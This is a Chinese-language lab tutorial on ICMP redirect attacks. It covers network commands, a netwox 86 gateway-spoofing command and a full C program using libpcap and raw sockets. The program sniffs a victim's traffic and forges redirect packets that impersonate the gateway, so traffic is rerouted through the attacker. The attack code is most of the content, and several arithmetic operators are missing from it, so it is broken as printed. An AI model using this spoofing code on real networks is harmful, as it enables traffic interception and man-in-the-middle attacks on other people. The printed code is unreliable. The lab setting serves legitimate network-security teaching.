网络安全——ICMP重定向攻击
- 网络命令
- 网络工具——netwox
- 一、实验原理
- 二、设计代码
网络命令
- 网络不可用
$ ping ${域名}
$ ping ${ip地址}
$ ifconfig #lo:本地网卡;enss:朝外发包的网卡
$ ifconfig -a #对比上一条结果,查看哪个网卡未开启
$ route #route -n查看本机网络状况
$ netstat -lt #正在监听的tcp端口,-p显示进程号
$
第一条是缺省路由,意思是说,当一个数据包的目的网段不在路由记录中,那么,路由器该把那个数据包发送到哪里,缺省路由是由网关default gateway决定的。
第二条是link-local,这个是链路本地地址(link local address),是设备在本地网络中通讯时用的地址,网段为169.254.0.1~169.254.254.255。主要作用是DHCP服务器故障,或者DHCP超时,不致于设备没有IP而造成连接不上。LLA是本地链路的地址,是在本地网络通讯的,不通过路由器转发,因此网关为0.0.0.0。
第三条是直联网段的路由记录:当路由器收到发往直联网段的数据包时该如何处理。因为是本地网络通信,不经过网关,所以是0.0.0.0.
- 主机间通信
netcat
命令,可以用于扫描端口、后门。
$ nc -l 1234 #创建一个监听端口
$ nc ${目的主机IP地址} 1234
- WHOIS(发音为“who is”) 是一种查询和响应协议,广泛用于查询存储了Internet资源注册用户等数据库,例如域名、IP地址块或自治系统 ,但也用于更广泛的其他信息。 该协议以人类可读的格式存储和提供数据库内容。
- netstat 在内核中访问网络连接状态及其相关信息的程序
网络工具——netwox
试验机器: Ubantu 18.04.2 LTS VMware Workstation 17
准备工作:
修改VMware Workstation
网络适配器模式为桥接模式 ;
一、实验原理
代码语言:javascript复制$ lsb_release -a
$ cat /proc/version
$ xrandr -s 1024x768
$ sudo apt install net-tools traceroute netwox #安装net-tools、traceroute、netwox
$ sudo apt-get install wireshark
$ cat /proc/sys/net/ipv4/conf/all/accept_redirects #打开重定向选项
$ sudo sysctl -w net.ipv4.conf.all.accept_redirects=1 #ip_forward与accept_redirects相反?sysctl命令用于运行时配置内核参数,-w临时修改。
虚拟机1:IP地址192.168.1.108,默认网关地址192.168.1.1 虚拟机2(clone):IP地址192.168.1.107
查找信息:
代码语言:javascript复制$ route -n #查看路由表
$ sudo netwox 86 -f "host ${被攻击主机ip地址}" -g "${新指定的网关ip地址}" -i "${当前网关ip地址}"
$ sudo wireshark
通过wireshark抓包查看所发出的数据包的源IP是原来的默认网关,而不是攻击者真实的IP。 接下来分析一下ICMP的数据报格式:由于不同Type的数据报有不同的格式,但是它们的首行都是一致的,包含Type、Code、Checksum。
- ICMP重定向报文,除了ICMP包中的通用头部4字节之外,还包括原始IP头部信息和数据报文的前8个字节(这里是目的地址不可达的ICMP差错信息)。 也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)。
- 另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。 路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。
主机在路由设置的时候,最开始只有一条默认的路由信息,然后当,接收到路由器通知它改变路由的时候,会更新自己的路由表。这里的netwox
就是通知主机需要更新路由表。
二、设计代码
代码参考:
代码语言:javascript复制#include <pcap.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h> //对POSIX 操作系统API的访问功能
#define MAX 1024
#define SIZE_ETHERNET 14
const unsigned char *Vic_IP = "192.168.3.185"; //被攻击主机IP
const unsigned char *Ori_Gw_IP = "192.168.3.1"; //原始网关IP
const unsigned char *Redic_IP = "192.168.3.184"; //修改后的网关IP,这里为攻击者IP
int flag = 0;
/* IP 头部 */
struct ip_header //总长度20字节
{
#ifdef WORDS_BIGENDIAN //小端模式高位在低地址; 大端低地址低位高地址高位
u_int8_t ip_version:4;
u_int8_t ip_header_length:4;
#else
u_int8_t ip_header_length:4;
u_int8_t ip_version:4;
#endif
u_int8_t ip_tos; //服务类型
u_int16_t ip_length; //总长度
u_int16_t ip_id; //标志
u_int16_t ip_off; //分片偏移
u_int8_t ip_ttl; //生存时间
u_int8_t ip_protocol; //协议
u_int16_t ip_checksum; //校验和
struct in_addr ip_source_address; //in_addr表示32位的IPv4地址的结构体
struct in_addr ip_destination_address;
};
/* icmp redirect 头部 */
struct icmp_header //
{
u_int8_t icmp_type; //类型
u_int8_t icmp_code; //代码
u_int16_t icmp_checksum; //校验和
struct in_addr icmp_gateway_addr;
//u_int16_t icmp_identifier; //标识符
//u_int16_t icmp_sequence; //序列号
};
/* 计算校验和 */
//以字为单位压入双字中,处理双字高16位的溢出部分,最后取反输出校验和
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0; //4字节
u_int16_t *cbuf;
cbuf=(u_int16_t *)buf; //每两字节二进制相加
while(len>1)
{
sum =*cbuf ;
len-=2; //长度的单位是8bit
}
if(len)
sum =*(u_int8_t *)cbuf;
sum=(sum>>16) (sum & 0xffff); //将高于16位(右移)与低16位(高位填充0)相加
sum =(sum>>16); //如果还有高于16位,将继续与低16位相加
return ~sum; //对sum取反(返回的是十进制)
}
/**
*/
void ping_redirect(int sockfd, const unsigned char *data, int datalen)
{
char buf[MAX], *p;
struct ip_header *ip;
struct icmp_header *icmp;
int len,i;
struct packet{ //IP报文
struct iphdr ip;
struct icmphdr icmp;
char datas[28];
}packet;
//添加IP头部
packet.ip.version = 4;
packet.ip.ihl = 5; //4B*5
packet.ip.tos = 0; //服务类型
packet.ip.tot_len = htons(56);
packet.ip.id = getpid(); //标志
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = 0;
packet.ip.saddr = inet_addr(Ori_Gw_IP); //冒充原始网关,inet_addr将点分十进制转换成一个u_long型
packet.ip.daddr = inet_addr(Vic_IP); //被攻击主机
//添加ICMP头部
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
//netinet/in.h
struct sockaddr_in dest = {
.sin_family = AF_INET,
.sin_addr = {.s_addr = inet_addr(Vic_IP)}
};
//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
memcpy(packet.datas, (data SIZE_ETHERNET), 28);
packet.ip.check = checksum(&packet.ip, sizeof(packet.ip));
packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp) 28);
/** 用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
* 发送端套接字描述符
* 待发送数据的缓冲区
* 待发送数据长度IP头 ICMP头(8) IP首部 IP前8字节,flag标志位
* 一般为0
* 数据发送的目的地址
* 地址长度
*/
sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
printf("send packet...n");
}
/** pcap_loop 用到的回调函数
* userarg:pcap_loop最后一个参数
* pkthdr:收到的数据包的pcap_pkthdr类型的指针
* packet:收到的数据包数据。
第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包,是一个结构体的集合。
*/
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int sockfd, res; //sockfd是socket描述符
int one = 1;
int *ptr_one = &one;
/** int socket(int domain, int type, int protocol);确定构造的是ICMP数据包
* domain:设置网络通信的域,函数据此选择通信协议的族(sys/socket.h)
* 这里AF_INET对应IPv4协议,PF_UNIX为本地通信,PF_INET6为IPv6协议
* type:设置套接字通信的类型
* SOCK_STREAM:双向流式套接字,TCP连接。connect-read-write
* SOCK_DGRAM :数据包套接字,提供原始网络协议访问。sendto-recvfrom
* SOCK_DGRAM :UDP连接,无连接状态的消息。sendto-recvform
* protocol:制定某个协议的特定类型,即type类型中的某个类型
* 0:只有一种特定类型
* 返回值:标识这个套接字的文件描述符,失败返回-1
*/
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0)
{
printf("***** create sockfd error *****n");
exit(-1);
}
/** 用于任意类型、任意状态套接口的设置选项值(socket.h),这里因为上面的Socket类型选择了IPPROTO_ICMP,需要自行定义头部,否则系统会默认生成IP地址为本机的头部,构造出来的ICMP包无法构成重定向攻击。如果是IPPROTO_RAW则可以不用此函数。
* s:标识要给套接字的描述符
* level:指定选项代码的类型
* SOL_SOCKET :基本套接口
* IPPROTO_IP :IPv4套接口
* IPPROTO_IPV6:IPv6套接口
* IPPROTO_TCP :TCP套接口
* optname:需设置的选项的名称
* optval:指向存放选项值的缓冲区的指针
* optlen:optval缓冲区长度
* 返回值int:标志打开或关闭某个特征的二进制选项
*/
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
if(res < 0)
{
printf("***** setsockopt error *****n");
exit(-3);
}
//填充数据部分
ping_redirect(sockfd, packet, 0);
}
int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
/** 查找网络设备
* 返回可被调用的网络折别名指针,errBuf存放出错信息字符串
* */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("running...n- device of my computer: %sn", devStr);
}
else
{
printf("run error: %sn", errBuf);
exit(1);
}
/** 打开一个用于捕获数据的网络接口
* device: 网络接口字符串,也可人为指定
* snaplen:捕获数据包的长度,最大65535字节
* promise:1表示混杂模式
* to_ms: 需要等待的毫秒数,超过后函数立即返回
* ebuf: 存放错误信息
* 返回值pcap_t:pcap_t类型指针,后面操作都要用到该指针(文件句柄)
* */
pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);
printf("- device of pcap_open_live() is: %sn", device);
if (device == NULL)
printf("- error: %sn", errBuf);
/** 制定过滤规则
* 该攻击中删除与否无所谓,添加此过滤规则只是为了限定处理包的类型,提高效率
*/
struct bpf_program filter;
char filterstr[50]={0};
sprintf(filterstr,"src host %s",Vic_IP); //规则语法:设置包的源ip为被攻击者IP,对应netwox 86 -f "${filterstr}"
/** 将用户制定的过滤策略编译到过滤程序中
* p:pcap会话句柄
* fp:存放编译后的规则
* str:规则表达式
* optimize:指定优化选项,1true,0false
* netmask:舰艇接口的网络掩码
* 返回值int:失败返回-1,成功返回其他值
* */
pcap_compile(device,&filter,filterstr,1,0);
/** 设置过滤器
* */
pcap_setfilter(device,&filter);
/** 循环捕获网络数据包,直至遇到错误或满足退出条件,每次捕获都会调用callback指定的回调函数,可以在该函数中进行数据包的处理操作
* p:pcap_open_live()返回的pcap_t类型的指针
* cnt:指定捕获数据包的个数,-1直至错误
* callback:回调函数,自命名
* user:向回调函数中传递的参数
* 返回值int:成功返回0,失败返回负数
* */
int id = 0;
pcap_loop(device, -1, getPacket, NULL);
/** 关闭并释放资源
*/
pcap_close(device);
return 0;
}
编译:
代码语言:javascript复制sudo apt install libpcap-dev
gcc ICMPAttack.c -lpcap -o ICMPAttack
sudo ./ICMPAttack #必须要sudo
抓到的数据包如下:这里直接将攻击对象改成了本地主机,IP地址可能与上面对应不上。
参考博客: pcap相关函数: https://blog.csdn.net/tennysonsky/article/details/44811899 socket函数: https://blog.csdn.net/mpp_king/article/details/80222304